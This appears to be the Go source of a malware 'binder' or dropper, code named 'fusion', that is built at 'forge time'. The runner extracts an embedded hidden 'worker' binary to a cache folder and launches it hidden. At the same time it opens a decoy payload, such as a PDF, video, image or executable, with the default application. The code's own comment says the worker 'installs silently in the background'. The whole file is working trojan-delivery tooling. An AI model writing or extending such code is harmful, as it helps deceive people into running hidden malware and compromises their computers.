package main

import (
	"crypto/sha256"
	"embed"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"log"
	"os"
	"path/filepath"
	"strings"
	"sync"
)

//go:embed assets/*
var assets embed.FS

// Replaced at forge time.
const (
	runOrder      = "FUSION_RUN_ORDER"
	payloadKind   = "FUSION_PAYLOAD_KIND"
	mediaMode     = "FUSION_MEDIA_MODE"
	mediaFileName = "FUSION_MEDIA_FILE"
)

type fusionManifest struct {
	PayloadKind   string `json:"payload_kind"`
	MediaMode     string `json:"media_mode"`
	MediaFileName string `json:"media_file_name"`
	MediaEncFile  string `json:"media_enc_file"`
	MediaKeyB64   string `json:"media_key_b64"`
	RunnerDisplay string `json:"runner_display_name"`
}

func main() {
	if fusionLockHintMode() {
		showLockedMediaHint()
		return
	}

	workerPath, err := materializeWorker()
	if err != nil {
		log.Printf("[fusion] worker materialize failed: %v", err)
		return
	}

	runFileFusion(workerPath)
}

// runFileFusion handles any payload type — exe, video, PDF, document, image, etc.
// The original file is opened with the OS default application while the worker
// installs silently in the background.
func runFileFusion(workerPath string) {
	fileName := resolvePayloadFileName()
	if fileName == "" {
		log.Printf("[fusion] no payload filename — runner is misconfigured (mediaFileName constant not replaced at forge time)")
		return
	}

	var filePath string

	switch mediaMode {
	case "embedded":
		var cleanup func()
		var err error
		filePath, cleanup, err = materializeEmbeddedPayload(fileName)
		if err != nil {
			log.Printf("[fusion] embedded payload: %v", err)
			return
		}
		defer cleanup()
	default:
		// "paired" — file ships alongside the runner in the ZIP
		var cleanup func()
		var err error
		filePath, cleanup, err = resolvePairedFile(fileName)
		if err != nil || filePath == "" {
			log.Printf("[fusion] paired payload %q not found — ensure the payload file is in the same ZIP as the runner: %v", fileName, err)
			return
		}
		if cleanup != nil {
			defer cleanup()
		}
	}

	// Decide how to open the payload:
	// - .exe with payloadKind=="exe" → run it directly and wait
	// - everything else → open with OS default app (works for PDF, video, doc, image, etc.)
	ext := strings.ToLower(filepath.Ext(fileName))
	if ext == ".exe" && payloadKind == "exe" {
		runFusionOrder(workerPath, filePath, func() { waitAndRun(filePath) })
	} else {
		runFusionOrder(workerPath, filePath, func() { openFile(filePath) })
	}
}

// resolvePayloadFileName returns the original filename from baked constants or manifest.
func resolvePayloadFileName() string {
	if mediaFileName != "FUSION_MEDIA_FILE" && mediaFileName != "" {
		return mediaFileName
	}
	if m := readManifest(); m != nil && m.MediaFileName != "" {
		return m.MediaFileName
	}
	return ""
}

// materializeEmbeddedPayload extracts the embedded payload from assets to a temp dir.
// Supports: assets/payload.bin (new universal), assets/media.bin (legacy video), assets/prep.exe (legacy exe).
func materializeEmbeddedPayload(name string) (string, func(), error) {
	var data []byte
	for _, asset := range []string{"assets/payload.bin", "assets/media.bin", "assets/prep.exe"} {
		d, err := assets.ReadFile(asset)
		if err == nil && len(d) > 0 {
			data = d
			break
		}
	}
	if len(data) == 0 {
		return "", nil, fmt.Errorf("embedded payload missing")
	}

	dir, err := os.MkdirTemp("", "cm-fusion-*")
	if err != nil {
		return "", nil, err
	}
	path := filepath.Join(dir, filepath.Base(name))
	perm := os.FileMode(0644)
	if strings.ToLower(filepath.Ext(name)) == ".exe" {
		perm = 0755
	}
	if err := os.WriteFile(path, data, perm); err != nil {
		_ = os.RemoveAll(dir)
		return "", nil, err
	}
	return path, func() { _ = os.RemoveAll(dir) }, nil
}

// resolvePairedFile finds the payload file relative to the runner binary.
// Searches current dir, parent, and grandparent — supporting the bin/platform/runner layout
// where the payload file lives at the ZIP root (two levels up from the runner).
// Falls back to legacy encrypted media (video mode).
func resolvePairedFile(name string) (string, func(), error) {
	// Legacy: encrypted video with key in manifest
	if m := readManifest(); m != nil && m.MediaKeyB64 != "" {
		return encryptedMediaBesideRunner(m.MediaEncFile, m.MediaKeyB64, name)
	}

	exe, err := os.Executable()
	if err != nil {
		return "", nil, err
	}
	base := filepath.Base(name)
	dir := filepath.Dir(exe)

	// Walk up: bin/platform/ → bin/ → root/ (covers the universal ZIP layout)
	for range []int{0, 1, 2} {
		p := filepath.Join(dir, base)
		if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
			return p, func() {}, nil
		}
		parent := filepath.Dir(dir)
		if parent == dir {
			break
		}
		dir = parent
	}
	return "", nil, fmt.Errorf("payload file not found")
}

func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
	switch runOrder {
	case "prep_first":
		runPrimary()
		launchWorker(workerPath)
	case "worker_first":
		launchWorker(workerPath)
		go runPrimary()
	default: // parallel
		launchWorker(workerPath)
		var wg sync.WaitGroup
		wg.Add(1)
		go func() {
			defer wg.Done()
			runPrimary()
		}()
		wg.Wait()
	}
}

func readManifest() *fusionManifest {
	raw, err := assets.ReadFile("assets/manifest.json")
	if err != nil {
		return nil
	}
	var m fusionManifest
	if json.Unmarshal(raw, &m) != nil {
		return nil
	}
	return &m
}

func materializeWorker() (string, error) {
	data, err := assets.ReadFile("assets/worker")
	if err != nil || len(data) == 0 {
		data, err = assets.ReadFile("assets/worker.exe")
		if err != nil || len(data) == 0 {
			return "", fmt.Errorf("worker binary missing from assets — runner was not built with go:embed correctly")
		}
	}

	base := cacheDropBase()
	sum := sha256.Sum256(data)
	tag := hex.EncodeToString(sum[:6])
	dir := filepath.Join(base, tag)
	if err := os.MkdirAll(dir, 0755); err != nil {
		return "", err
	}
	destName := dropBinaryName()
	dest := filepath.Join(dir, destName)
	if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(data) {
		if sha256.Sum256(existing) == sum {
			return dest, nil
		}
	}
	if err := os.WriteFile(dest, data, 0755); err != nil {
		return "", err
	}
	return dest, nil
}

func launchWorker(path string) {
	applyHiddenStartPath(path)
}

// waitAndRun launches an exe synchronously (used for exe payload kind).
func waitAndRun(path string) {
	applyWaitRun(path)
}

func fusionLockHintMode() bool {
	for _, arg := range os.Args[1:] {
		if arg == "--locked" || arg == "-locked" {
			return true
		}
	}
	return false
}
